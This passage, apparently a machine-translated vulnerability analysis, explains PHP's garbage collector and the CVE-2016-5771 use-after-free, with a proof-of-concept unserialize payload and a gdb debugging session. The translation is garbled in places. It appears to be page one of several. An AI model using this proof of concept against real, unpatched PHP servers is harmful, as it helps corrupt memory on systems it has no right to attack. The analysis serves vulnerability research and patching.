Lucene search

K
myhack58Ph1reMYHACK58:62201682253
HistoryDec 19, 2016 - 12:00 a.m.

PHP garbage collection mechanism UAF vulnerability analysis-vulnerability warning-the black bar safety net

2016-12-1900:00:00
ph1re
www.myhack58.com
66

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.012 Low

EPSS

Percentile

83.2%

First, the PHP garbage collection mechanism introduction
Because PHP is among the presence of circular references, only the refcount of the counter as a garbage collection mechanism is not enough, so in PHP5. 3 introduced a new garbage collection mechanism.
$a = array(‘one’);
$a[] = &$a;
unset($a);
?& gt;
In PHP5. 2 and previous versions can not be recovered the$a variable memory.
In PHP5. 3 After the new garbage collection algorithm to the color-coded method to determine the garbage
All array and object zval nodes into gc_root_buffer and marked as purple potential garbage has been placed into the buffer. When the node buffer is filled with default of 10000 or call gc_collect_cycles()to start garbage collection.
To the depth of the priority of the zval and its sub-nodes contained in the zval for refcount minus 1 operation and is marked as the gray has been reduced by one.
Again to the depth of the priority is determined for each node contains the zval if the value of zval’s refcount is equal to 0 then it is labeled as white trash. If the zval’s refcount is greater than 0 Then the zval and its sub-nodes refcount plus 1 restore at the same time these zval color turns black to normal.
Traverse zval node C labeled to a white node zval released.
The garbage collection algorithm code following Zend/zend_gc. c
ZEND_API int gc_collect_cycles(TSRMLS_D)
{
[…]
gc_mark_roots(TSRMLS_C);
gc_scan_roots(TSRMLS_C);
gc_collect_roots(TSRMLS_C);
[…]
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u. next;
FREE_ZVAL_EX(&p->z);
p = q;
}
[…]
}
One of the important is gc_mark_roots, the gc_scan_roots and gc_collect_roots these three functions
gc_mark_roots to gc_root_buffer each node in the call zval_mark_greyzval_mark_grey; the node and its sub-nodes refcount minus be marked as gray; for that has been marked as a gray node does not process.
gc_scan_roots call zval_scan for each node for processing, zval_scan only processing a gray node; call zval_scan_black of node refcount is greater than 0, the node’s refcount is incremented by Mark black. refcount is 0 the node is marked as white.
gc_collect_roots put all the white nodes into gc_free_list list waiting for release.
II, CVE-2016-5771 analysis
poc
$serialized_string = ‘a:1:{i:1;C:11:“ArrayObject”:37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}’;
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = “aaaa”;
$filler2 = “bbbb”;
var_dump($outer_array);
?& gt;
The sequence string is intended to define an array that contains an ArrayObject, object ArrayObject in turn contains an internal array, the internal array member is two references, a pointer to an external array, a pointer to the internal array. But after deserialization and garbage collection after the outer array of the memory is released, but PHP does not know which lead to Use After Free.
! [](/Article/UploadPic/2016-12/201612191982321. jpg? www. myhack58. com)
The expected result should be
array(1) { // outer_array
[1]=>
object(ArrayObject)#1 (1) {
[“storage”:“ArrayObject”:private]=>
array(2) { // inner_array
[1]=>
// Reference to inner_array
[2]=>
// Reference to outer_array
}
}
}
While the actual operating results is
string(4) “bbbb”
We have to debug to see what exactly what happened. First edit the PHP comes with. gdbinit at the end of the Add
define dumpgc
set $current = gc_globals. roots. next
printf “GC buffer content:\n”
while $current != &gc_globals. roots
printzv $current. u. pz
set $current = $current. next
end
end
Then in gdb, enter
(gdb) source . gdbinit
So that you can directly use dumpgc command to view gc_root_buffer in the content. We put a breakpoint in the gc_collect_cycles()function on the look at the garbage collection process what happened.
(gdb) b zend_gc. c:gc_collect_cycles
Breakpoint 1 at 0x98dc4a: file /root/php-5.6.20/Zend/zend_gc. c, line 779.
(gdb) r 1.php
Starting program: /root/php-5.6.20/sapi/cli/php 1.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library “/lib64/libthread_db. so. 1”.
Breakpoint 1, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc. c:779
779 int count = 0;
(gdb) dumpgc
GC buffer content:
[0x7ffff7fd0f40] (refcount=2) array(1): {
1 => [0x7ffff7fd2c80] (refcount=1) object(ArrayObject) #1
}
[0x7ffff7fd1cd0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7fd1cd0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7fd0f40] (refcount=2) array(1):
}
[0x1306380] (refcount=8074858) NULL

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] next

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.012 Low

EPSS

Percentile

83.2%